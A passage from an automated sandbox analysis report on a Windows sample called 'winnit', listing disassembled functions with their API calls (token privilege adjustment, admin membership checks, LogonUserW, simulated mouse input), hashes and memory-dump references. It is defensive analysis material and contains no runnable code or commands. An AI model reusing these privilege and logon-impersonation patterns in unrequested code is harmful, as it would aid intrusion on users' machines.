                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: lstrlen
                                          • String ID: ($|
                                          • API String ID: 1659193697-1631851259
                                          • Opcode ID: 8ab491275695f64f61738412b1ee75915fd980a3e2b2601d788996460de165cf
                                          • Instruction ID: 3610c3304c11e01c7c26f6bdf50d53dee82191411d96cb4e69c37a3e33304ae7
                                          • Opcode Fuzzy Hash: 8ab491275695f64f61738412b1ee75915fd980a3e2b2601d788996460de165cf
                                          • Instruction Fuzzy Hash: AA322775A007059FD728CF59D48196ABBF1FF48310B15C9AEE8AADB3A1D770E941CB40
                                          Function 00B1B3FB Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 00B1B40B
                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00B1B465
                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00B1B4B2
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DiskFreeSpace
                                          • String ID:
                                          • API String ID: 1682464887-0
                                          • Opcode ID: 9f0a71e1616f6bfc72b8588fd3117aaef86e0889ecf8b9a6cd6e313126c580a8
                                          • Instruction ID: 5a2a1067afe0dda27d7dcefdbc0c753f9cb0c3d87bb210a98fafa018ef3c92de
                                          • Opcode Fuzzy Hash: 9f0a71e1616f6bfc72b8588fd3117aaef86e0889ecf8b9a6cd6e313126c580a8
                                          • Instruction Fuzzy Hash: C9214F35A00508EFCB00EFA5D884EEEBBF8FF49314F1480A9E905AB362DB319955CB51
                                          Function 00B087E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD0DB6: std::exception::exception.LIBCMT ref: 00AD0DEC
                                            • Part of subcall function 00AD0DB6: __CxxThrowException@8.LIBCMT ref: 00AD0E01
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B0882B
                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B08858
                                          • GetLastError.KERNEL32 ref: 00B08865
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                          • String ID:
                                          • API String ID: 1922334811-0
                                          • Opcode ID: 309c11893d1d96c4bf05452103f75b67ca8bedee9f39f3ed56d66f8ee7aee0c3
                                          • Instruction ID: e13ab076c0549f8e4d0e2c3989c1143eece00e337b7d0794776bb02053c09d35
                                          • Opcode Fuzzy Hash: 309c11893d1d96c4bf05452103f75b67ca8bedee9f39f3ed56d66f8ee7aee0c3
                                          • Instruction Fuzzy Hash: 0A119AB2804305AFE718DFA4DC85D6BBBF9EB04310B20856EE49683251EE30AC008B60
                                          Function 00B0874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00B08774
                                          • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00B0878B
                                          • FreeSid.ADVAPI32(?), ref: 00B0879B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                          • String ID:
                                          • API String ID: 3429775523-0
                                          • Opcode ID: b9356a6ced11a5250c83672a17627994e814ba187da57e5e4e9b7c952f108258
                                          • Instruction ID: 6354ab548188ccc77125a59b603ed5a10f89a4fe411b7c1af71a07ff85441d74
                                          • Opcode Fuzzy Hash: b9356a6ced11a5250c83672a17627994e814ba187da57e5e4e9b7c952f108258
                                          • Instruction Fuzzy Hash: F7F03775E1120DBBDB04DFE49D89ABEBBB8EF08201F1044A9A905E2181EA716A048B50
                                          Function 00B1C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?), ref: 00B1C6FB
                                          • FindClose.KERNEL32(00000000), ref: 00B1C72B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Find$CloseFileFirst
                                          • String ID:
                                          • API String ID: 2295610775-0
                                          • Opcode ID: e4daeb8108acdaadf4706aeb1ec48a8c673b78450526a9e4dcb241bdf2e3aef8
                                          • Instruction ID: b4fc4cb828f00cd7e302f53759e073f45630b3e92df7a10a0f8555d18468086c
                                          • Opcode Fuzzy Hash: e4daeb8108acdaadf4706aeb1ec48a8c673b78450526a9e4dcb241bdf2e3aef8
                                          • Instruction Fuzzy Hash: 67118E726002059FDB10EF69D885A6AF7E9FF85320F10855DF9A9872A1DB70AC01CB81
                                          Function 00B1A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00B29468,?,00B3FB84,?), ref: 00B1A097
                                          • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00B29468,?,00B3FB84,?), ref: 00B1A0A9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorFormatLastMessage
                                          • String ID:
                                          • API String ID: 3479602957-0
                                          • Opcode ID: fb0604bd14701cac6f64158164e50e4e66b71fec23671a023bcccdaaea67a10f
                                          • Instruction ID: c5eb494bae00db582a32c55bb2da811d3de51add07a83e75a0c78f0fd3fef7b2
                                          • Opcode Fuzzy Hash: fb0604bd14701cac6f64158164e50e4e66b71fec23671a023bcccdaaea67a10f
                                          • Instruction Fuzzy Hash: 0AF0823554522DABDB219FA4CC88FEE77ACFF08361F004165F909D7191DA70A940CBA1
                                          Function 00B081CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                          Download Yara Rule
                                          APIs
                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B08309), ref: 00B081E0
                                          • CloseHandle.KERNEL32(?,?,00B08309), ref: 00B081F2
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AdjustCloseHandlePrivilegesToken
                                          • String ID:
                                          • API String ID: 81990902-0
                                          • Opcode ID: debbe92d1bf205552950728803b4fcb47c1c3d43000a1643ba84d9e344a407d9
                                          • Instruction ID: 753845e8ae39ddcbc96df697ac72729863f3b450fe72b1d70eee427843c67634
                                          • Opcode Fuzzy Hash: debbe92d1bf205552950728803b4fcb47c1c3d43000a1643ba84d9e344a407d9
                                          • Instruction Fuzzy Hash: 25E0EC72010611AFE7252B74ED09E777BEAFF04310B24886EF8A685470DF62AC91EB14
                                          Function 00ADA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00AD8D57,?,?,?,00000001), ref: 00ADA15A
                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00ADA163
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterUnhandled
                                          • String ID:
                                          • API String ID: 3192549508-0
                                          • Opcode ID: 0ddf2f8bf37a8891759ea122525062f61c41f76f65971dae60b8b8017f970d85
                                          • Instruction ID: d29eda0f7f55933780b59ac1b1efb793d1011e431a82105262331ca914237df9
                                          • Opcode Fuzzy Hash: 0ddf2f8bf37a8891759ea122525062f61c41f76f65971dae60b8b8017f970d85
                                          • Instruction Fuzzy Hash: BDB0923145420AABCB002B91EC09BAE3F68EB45AA2F504020F60D86060CF6254508A99
                                          Function 00ABE6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON
                                          Download Yara Rule
                                          Strings
                                          • Variable must be of type 'Object'., xrefs: 00AF3E62
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Variable must be of type 'Object'.
                                          • API String ID: 0-109567571
                                          • Opcode ID: cfe66275de7aef5bb75993bcd0aa79ce31160c8f01a4a7c6885812dc069ada85
                                          • Instruction ID: 1b309cbf8311dab776157210825c12b741dded1cedf2dfb02ea2196d92dd4a49
                                          • Opcode Fuzzy Hash: cfe66275de7aef5bb75993bcd0aa79ce31160c8f01a4a7c6885812dc069ada85
                                          • Instruction Fuzzy Hash: 63A27F75A00209CFCB24CF98C890AEEBBB9FF59314F248559E9059B352D775ED82CB90
                                          Function 00ADF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ce67c155959943b8b7b8a7dc1162bda538f2756ec4a0f14e68aef9dc0303d19f
                                          • Instruction ID: 80582386a4472c0faed872d5bab5481e7cdbd4bd9622aac67d4029eaaf738a37
                                          • Opcode Fuzzy Hash: ce67c155959943b8b7b8a7dc1162bda538f2756ec4a0f14e68aef9dc0303d19f
                                          • Instruction Fuzzy Hash: 1A32F225D69F414DD7239634D832336A299AFB73C4F15D737E82BB6AA6EF28C5834100
                                          Function 00AE242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ea4ba3cc9434898f33f715a6d32bdbabba2af1942804382adc633d5c55aece7c
                                          • Instruction ID: e133bc36b5cc504bc27fc4d0ef2fc59d4200eab0e7ba84a6c4fd1e0325a3529d
                                          • Opcode Fuzzy Hash: ea4ba3cc9434898f33f715a6d32bdbabba2af1942804382adc633d5c55aece7c
                                          • Instruction Fuzzy Hash: 3EB1F024E6AF414DD3239A398831336BA5CBFBB2C5F51D71BFC6671D22EB2186834241
                                          Function 00B18889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                          Download Yara Rule
                                          APIs
                                          • __time64.LIBCMT ref: 00B1889B
                                            • Part of subcall function 00AD520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00B18F6E,00000000,?,?,?,?,00B1911F,00000000,?), ref: 00AD5213
                                            • Part of subcall function 00AD520A: __aulldiv.LIBCMT ref: 00AD5233
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Time$FileSystem__aulldiv__time64
                                          • String ID:
                                          • API String ID: 2893107130-0
                                          • Opcode ID: cf69cf94cb9876c6c15dbd0ca8a21813f80d9d91f919d51a18b828a68a623947
                                          • Instruction ID: f824cf8e563b51865a6a5f2e3940a5be86761f14f678d7df9f6a9c41e456b214
                                          • Opcode Fuzzy Hash: cf69cf94cb9876c6c15dbd0ca8a21813f80d9d91f919d51a18b828a68a623947
                                          • Instruction Fuzzy Hash: 2421B132635A108BC729CF29D841A92B3E1EFA5311B688E6CD0F9CB2D0CE34B945DB54
                                          Function 00B14C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                          Download Yara Rule
                                          APIs
                                          • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00B14C4A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: mouse_event
                                          • String ID:
                                          • API String ID: 2434400541-0
                                          • Opcode ID: 06d1d6c0df3a77b89da62ddda3e3ca6365ebfd1c86c2a702b6cfedaf3fab97ad
                                          • Instruction ID: 62498027f425bdd1b6d80806ef527885783aebd3ddb95d966455624e9d70daaf
                                          • Opcode Fuzzy Hash: 06d1d6c0df3a77b89da62ddda3e3ca6365ebfd1c86c2a702b6cfedaf3fab97ad
                                          • Instruction Fuzzy Hash: 92D09EA516961A79ED1C07209E1FFFB11C9E340796FD995C975018A0C1EE905DC45171
                                          Function 00B087B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                          Download Yara Rule
                                          APIs
                                          • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00B08389), ref: 00B087D1
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LogonUser
                                          • String ID:
                                          • API String ID: 1244722697-0
                                          • Opcode ID: aa1d0d16cf5180e949865c802df9a2d03210115c8c755c7526ffe5bdda2d3220
                                          • Instruction ID: da599a790ee8c01b96a2a041ce14fcc6a539f6dd355e1424968b782ee02f6f01
                                          • Opcode Fuzzy Hash: aa1d0d16cf5180e949865c802df9a2d03210115c8c755c7526ffe5bdda2d3220
                                          • Instruction Fuzzy Hash: 86D05E3226450EABEF018EA8DC01EBE3B69EB04B01F408111FE15C60A1C775D835AB60
                                          Function 00ADA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetUnhandledExceptionFilter.KERNEL32(?), ref: 00ADA12A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterUnhandled
                                          • String ID:
                                          • API String ID: 3192549508-0
                                          • Opcode ID: a89028d13a8634f7b5abb3835fc8e628f0da615ab52f61afb9c7ae6942944a35
                                          • Instruction ID: 25eac7dd0827dfbcb1274c59807c3e0fb8e88f3ec9810595b793bcc30975824d
                                          • Opcode Fuzzy Hash: a89028d13a8634f7b5abb3835fc8e628f0da615ab52f61afb9c7ae6942944a35
                                          • Instruction Fuzzy Hash: 17A0123000010DA78B001B41EC044597F5CD6011907004020F40C420218B3254104584
                                          Function 00AC8808 Relevance: .6, Instructions: 590COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2c614d96b29d82dbd5b3f4df54f0f49914a55ecf55801188a8a69d720b34ecc0
                                          • Instruction ID: bd3ed200c72b1acfdbb0645fd309dd391be8d4d753797375538287dee8084839
                                          • Opcode Fuzzy Hash: 2c614d96b29d82dbd5b3f4df54f0f49914a55ecf55801188a8a69d720b34ecc0
                                          • Instruction Fuzzy Hash: D72212306045168BDF388B28C494B7DBBE1FF41384F2B80AED9469B9D2DB789D91CB41
                                          Function 00AD21C5 Relevance: .3, Instructions: 345COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                          • Instruction ID: 1a13e758a20f4950f4613132198b7a7f7820b431cb62e20dd267c876097965c4
                                          • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                          • Instruction Fuzzy Hash: F4C163362051930ADB2D4739847457EFAA19EA27B131A076FE8F3CB2D4EF24C965D720
                                          Function 00AD25FA Relevance: .3, Instructions: 341COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                          • Instruction ID: 6415062c5e3d145067e56782a4d4ffd8c54217b72db743861c3078d6d2cf7932
                                          • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                          • Instruction Fuzzy Hash: CEC142322051930ADB6D473A847417EBAA19EA27B131A176FD4F3DB2D5EF20C925D720
                                          Function 00AD1978 Relevance: .3, Instructions: 323COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
